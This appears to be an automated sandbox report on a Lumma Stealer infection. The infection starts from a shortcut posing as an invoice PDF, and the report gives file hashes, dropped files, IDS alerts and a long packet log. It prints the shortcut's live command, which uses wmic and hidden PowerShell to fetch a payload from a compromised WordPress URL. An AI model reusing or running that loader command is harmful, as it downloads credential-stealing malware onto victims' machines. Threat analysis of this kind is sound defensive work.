SHA-512:	C0EA564EEFBF96ECD80E1DA5DB649CE2E23199FDDC9CD5BC35A49487F8F65CB1A33FDF9D0FE79BEB417A1F311AB2B3FC134D5E610C26789B9855DF4FE2DC4490
Malicious:	false
Preview:	.........UaZQ........y.ly.F...^..pmMW.Q.rib...[...f.M......t.._...u....SP.d..j..S\oW.Mu..pGTp.pv.j.....ZwBiuv..EqTo...IlKX..Zs..d.Q..ARmk......_.L.._MAp.....W.A...IF.c.Da[.^v...CS..y...[...J.k....UA...\.....e.y..Y.[e.W..D..Ub.Hy.y........nv.eSf...y..].l.k..i.Th]..VCa..EY..R.ZbC.h.k.YI`.UveZ...\..nF.b....t[....UES...GiP.SNw..G.[u.iG.\`.H^....OHw...Z.xKr.JJ.....m.......rpb.ktCw.c.Q..w.....JvMFl.L..pb.b.....].l.Iy.pHL..N.gY..e....x....Ues....]...Ts.^C....q.Q.N....O....Ub....g.Y.r..y.P[q.....\.T..L.Fch^..s.FofO......LZNhKL.g.N..N..Al.i.j...PpZFF.p.R^...sJ...SW..Gn^gv`c.sVJWfyRKJgb.I.J..`.I.._Lll.ZU....jO`...]_.p\[.x...Atb.Y.W..\o.YV.a[btU..Wd.T[OX.q.V.j.RJ.EN.`uf....OpK.sGo.I.`jh.RJb.u..YZGi].x..Z\.q.Q....RW....a.Q..dK.K..H......G.r..wS....Lx.\......U..y....n.aM.b.tMX.lfHO^q.s.F.BF.R...Z.....l.nG..q...xJ.HS.d..vo.u.SK.otiMa.DcvG..s.E.m.AlVYsdoAV...h.....ux.Fe..a^K..Jtkk...........H.d.t...ca...p.....P..`LgxEVo...^..f...IlTvJ[...^`.S.uXeTt...s....G.xc.Iq.IMkc.o..Ji..AUM..TqsNpXU..pT]c.].LeQj

C:\Users\user\AppData\Roaming\JIKJCBEX.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2073531
Entropy (8bit):	7.951851584664694
Encrypted:	false
SSDEEP:	49152:+pz3/tIhCTlXLZse02lOxdnvRA3bM6/I11zvX:+puoTR6f2lOxpvWbxI19X
MD5:	AD0D6C4462BD810C17DBDBA9E8556B69
SHA1:	B9D15C456E72A3ED9D29824E125E0FEC8BBC5C97
SHA-256:	440E77D8A8CE66DC6F2FA2339CA43AE4C5CCE57649EABB04AAD23BC2F7F4B051
SHA-512:	A56F357E6B66A9DAB27C692EB38B19F10CCA95AF7A7E4AA07199C997C3A882B5611110134A08E70BC27D6328B4DD70E1B71A15F16CA0DF5163D87D548E11EA8E
Malicious:	true
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L...~.&L.....................................0....@..........................0.......3.......................................P.......................................................................................0...............................text............................... ..`.rdata...0...0...2..................@..@.data...,)...p.......H..............@....rsrc................P..............@..@........U.......SVWj'.....u..v..=`2A..6P......P..e......~..v8.^..3......h.3A.P..........P......P..p1A..E..E....;F.r......P.,f..Y.-..j...t1A...t$..l....3.9..wA.t...@....9D$.t..t$.Ph.....5.wA....2A.3.....D$..`...\|$..u..@.....3.....D$...V...t...P.Q...^....T$.V.t$......f..BBFFf..u.^.L$.3.f9.t.@f.<A.u..S.\$.V..C;^.tLW3.j.Z...........Q......3.9F.Y~.9F.~...f..Af..G@;F.\|..6....Y.F..>f.$G..^._^[...U..QQ..lwA..uVj.j..E.P.5.wA...l1A...t>.E.;E.w6r..E.;E.s,j*.....P.He.....YYt...(wA.j.....@... .

C:\Users\user\AppData\Roaming\KlarnaInvoice42611.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7, 2 pages
Category:	dropped
Size (bytes):	114905
Entropy (8bit):	7.668231614662199
Encrypted:	false
SSDEEP:	3072:jeoHTJykCVHX9YGQ9eet/vXZ7bBLZ/YOoEGs4Ga4L8/3F9q0a5wi0sbgQa6:yoH9e9YGBUwi0a54sbW6
MD5:	E6CA828043E98DD4CAF25C734E02B125
SHA1:	A557D937514A1430246D18D73EB32DFEF96851E3
SHA-256:	AA395834597F348B15C4A7A4FCFDBD28EB92A0A2D34AFE67AD8EB3E1E43E812C
SHA-512:	D6F470229AFF27285D6F0579958F7911095D942B11F97037E14170FB178874C34B8631BB1995943326B872934B457A2484E96AB1B7F85F972D0712DF26C6708E
Malicious:	false
Preview:	%PDF-1.7..%......1 0 obj..<</Type/Catalog/Pages 2 0 R/Lang(en) /StructTreeRoot 18 0 R/MarkInfo<</Marked true>>/Metadata 146 0 R/ViewerPreferences 147 0 R>>..endobj..2 0 obj..<</Type/Pages/Count 2/Kids[ 3 0 R 15 0 R] >>..endobj..3 0 obj..<</Type/Page/Parent 2 0 R/Resources<</XObject<</Image5 5 0 R>>/ExtGState<</GS7 7 0 R/GS10 10 0 R>>/Font<</F1 8 0 R/F2 11 0 R/F3 13 0 R>>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.25 842] /Contents 4 0 R/Group<</Type/Group/S/Transparency/CS/DeviceRGB>>/Tabs/S/StructParents 0>>..endobj..4 0 obj..<</Filter/FlateDecode/Length 9352>>..stream..x..][s..~W....7r+<..N.VU.%;Z.^....>P.D).HG....<.7.S....9g8...1.a....}.....h.....?...._<}......._l.\|...^........j[U..V.1.V.M...w.......?7....m...Vo.KG..q.....{.....+.y\|....{.'_...<x.....Z=.............[:"<BWU.u.i.....G~.}../.F......SH..M..>.}.6..C_=W..Um.......n......._ ..3..(.>YVo........R...m....\u.....W...>?....#....ss...=.W^..............3.k..n..E..^...%q...&..j.6.....Hw@.

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

\Device\ConDrv

Download File

Process:	C:\Windows\System32\wbem\WMIC.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	160
Entropy (8bit):	5.083203110114614
Encrypted:	false
SSDEEP:	3:YwM2FgCKGWMRX1eRHXWXKSovrj4WA3iygK5k3koZ3Pveys1MgmSdfsqJQAiveyzr:Yw7gJGWMXJXKSOdYiygKkXe/egmSdNeF
MD5:	76BEE91858DB53E4F3A6B160DB73A80E
SHA1:	286A8B9CA3E5BD13B4B2C136C322AD801F0C21AA
SHA-256:	1C6D4BD4D3E9FB736C08A836DE98D8F0633CFE40CC7D44355B5C7E52483555A7
SHA-512:	4A91AED7B3E3064460F280822DC41AEA45FF284C8F57A59892BA168F868B155D2EC47CE616D3AB574AED5FAFDE6B2D35FA48B18A5E0F721477C0EF39E48F95EC
Malicious:	false
Preview:	Executing (Win32_Process)->Create()...Method execution successful....Out Parameters:..instance of __PARAMETERS..{...ProcessId = 4308;...ReturnValue = 0;..};....

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Has Relative path, Has command line arguments, Icon number=11, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hidenormalshowminimized
Entropy (8bit):	2.5045744175955984
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	InvoiceNr274728.pdf.lnk
File size:	2'059 bytes
MD5:	a8bb763a94282ef70317e2a963222c83
SHA1:	b807a016a1bb5a707b1b6a4b43c8277128d6aa5a
SHA256:	77241fd91e48e51e517923885ba0b263b83b622a4304e6c9ccc6aec24ebff59b
SHA512:	4869213da69a932516288bbd71b2eb12dd7a997484385990ea6e3f6eb0f4192a294fafb1220a6fee4e3e3b3b7b05887e3787696b74734cee0ddfcca6d0e8fbc8
SSDEEP:	24:8AyH/BUlgKN4eH+/3EkWNBvL2cpK3DNO1qdd79dsHLIQ:89uGeAElBz2cp6OwdJ9
TLSH:	224178146AE90B10F3B28E7628BAB3208A7F7C57DD128F5D0190068D1422A50EC75F7F
File Content Preview:	L..................F.@...........................................................P.O. .:i.....+00.../C:\...................V.1...........Windows.@.............................................W.i.n.d.o.w.s.....Z.1...........System32..B.....................

File Icon


Icon Hash:	72d282828e8d8dd5

Static Windows Shortcut Info

General
Relative Path:	..\..\..\Windows\System32\Wbem\wmic.exe
Command Line Argument:	process call create "powershell -w 1 . \W\S2\mhte https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler"
Icon location:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-16T15:18:12.071639+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49708	208.91.198.106	443	TCP
2024-12-16T15:18:12.071639+0100	2021697	ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious	1	192.168.2.5	49708	208.91.198.106	443	TCP
2024-12-16T15:19:24.566756+0100	2058104	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (abrasigehs .my)	1	192.168.2.5	62077	1.1.1.1	53	UDP
2024-12-16T15:19:26.271811+0100	2058105	ET MALWARE Observed Win32/Lumma Stealer Related Domain (abrasigehs .my in TLS SNI)	1	192.168.2.5	49873	104.21.64.1	443	TCP
2024-12-16T15:19:26.271811+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49873	104.21.64.1	443	TCP
2024-12-16T15:19:27.276753+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49873	104.21.64.1	443	TCP
2024-12-16T15:19:27.276753+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49873	104.21.64.1	443	TCP
2024-12-16T15:19:28.505807+0100	2058105	ET MALWARE Observed Win32/Lumma Stealer Related Domain (abrasigehs .my in TLS SNI)	1	192.168.2.5	49879	104.21.64.1	443	TCP
2024-12-16T15:19:28.505807+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49879	104.21.64.1	443	TCP
2024-12-16T15:19:29.270458+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49879	104.21.64.1	443	TCP
2024-12-16T15:19:29.270458+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49879	104.21.64.1	443	TCP
2024-12-16T15:19:31.054078+0100	2058105	ET MALWARE Observed Win32/Lumma Stealer Related Domain (abrasigehs .my in TLS SNI)	1	192.168.2.5	49887	104.21.64.1	443	TCP
2024-12-16T15:19:31.054078+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49887	104.21.64.1	443	TCP
2024-12-16T15:19:31.916607+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49887	104.21.64.1	443	TCP
2024-12-16T15:19:33.285661+0100	2058105	ET MALWARE Observed Win32/Lumma Stealer Related Domain (abrasigehs .my in TLS SNI)	1	192.168.2.5	49893	104.21.64.1	443	TCP
2024-12-16T15:19:33.285661+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49893	104.21.64.1	443	TCP
2024-12-16T15:19:35.606976+0100	2058105	ET MALWARE Observed Win32/Lumma Stealer Related Domain (abrasigehs .my in TLS SNI)	1	192.168.2.5	49899	104.21.64.1	443	TCP
2024-12-16T15:19:35.606976+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49899	104.21.64.1	443	TCP
2024-12-16T15:19:38.842602+0100	2058105	ET MALWARE Observed Win32/Lumma Stealer Related Domain (abrasigehs .my in TLS SNI)	1	192.168.2.5	49908	104.21.64.1	443	TCP
2024-12-16T15:19:38.842602+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49908	104.21.64.1	443	TCP
2024-12-16T15:19:41.072706+0100	2058105	ET MALWARE Observed Win32/Lumma Stealer Related Domain (abrasigehs .my in TLS SNI)	1	192.168.2.5	49914	104.21.64.1	443	TCP
2024-12-16T15:19:41.072706+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49914	104.21.64.1	443	TCP
2024-12-16T15:19:44.388970+0100	2058105	ET MALWARE Observed Win32/Lumma Stealer Related Domain (abrasigehs .my in TLS SNI)	1	192.168.2.5	49922	104.21.64.1	443	TCP
2024-12-16T15:19:44.388970+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49922	104.21.64.1	443	TCP
2024-12-16T15:19:45.180473+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49922	104.21.64.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 15:18:04.757018089 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:04.757119894 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:04.757220984 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:04.767539024 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:04.767571926 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.104087114 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.104211092 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:06.171526909 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:06.171574116 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.172513962 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.172588110 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:06.174923897 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:06.219329119 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.596093893 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.596184015 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.596254110 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:06.596321106 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.596350908 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:06.596477032 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:06.596488953 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.596532106 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:06.700750113 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.700851917 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:06.700892925 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.700953007 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:06.798811913 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.798904896 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:06.798971891 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.799024105 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:06.815385103 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.815470934 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:06.832396030 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.832586050 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:06.832647085 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.832709074 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:06.854659081 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.854736090 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:06.854749918 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.854804039 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:06.982692003 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.982799053 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:06.982852936 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.983165026 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:06.994535923 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.994601965 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:06.994610071 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:06.994956017 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.005897045 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.005975008 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.005984068 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.006059885 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.021239042 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.021344900 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.021404982 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.021536112 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.033802986 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.033905029 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.033962965 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.034425974 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.045270920 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.045371056 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.045450926 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.045515060 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.054656029 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.054738998 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.054754019 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.054851055 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.169900894 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.169991970 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.170010090 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.171843052 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.178713083 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.178790092 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.178802967 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.179497957 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.186213970 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.186291933 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.186305046 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.186474085 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.194833994 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.195018053 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.195030928 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.195223093 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.204314947 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.204431057 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.204449892 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.204663992 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.211776018 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.211846113 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.211859941 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.212120056 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.219361067 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.219450951 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.219465017 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.219542980 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.229440928 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.229517937 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.229530096 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.229598045 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.237099886 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.237190962 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.237204075 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.237262964 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.244731903 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.244822979 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.244837046 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.245009899 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.255413055 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.255491018 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.255503893 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.255666018 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.365149975 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.365269899 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.365286112 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.365346909 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.371288061 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.371364117 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.371378899 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.371841908 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.381542921 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.381638050 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.381649971 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.381743908 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.385813951 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.385898113 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.385910988 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.390156984 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.391485929 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.391571999 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.391585112 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.391736031 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.396028996 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.396104097 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.396111012 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.396188021 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.400974989 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.401046991 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.401052952 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.401120901 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.407263041 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.407339096 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.407347918 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.408663988 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.412863970 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.412931919 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.412961006 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.413034916 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.418499947 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.418579102 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.418595076 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.418678999 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.424954891 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.425055027 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.425067902 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.426655054 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.432356119 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.432420969 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.432434082 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.432663918 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.437923908 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.438013077 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.438025951 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.438077927 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.443654060 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.443737030 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.443749905 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.444083929 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.450916052 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.450999022 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.451011896 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.451083899 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.456413984 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.456549883 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.456562042 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.456651926 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.557817936 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.557903051 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.557921886 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.558543921 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.562607050 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.562683105 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.562696934 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.562787056 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.567037106 CET	443	49704	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:07.567126989 CET	49704	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:07.567140102 CET	443	49704	208.91.198.106	192.168.2.5
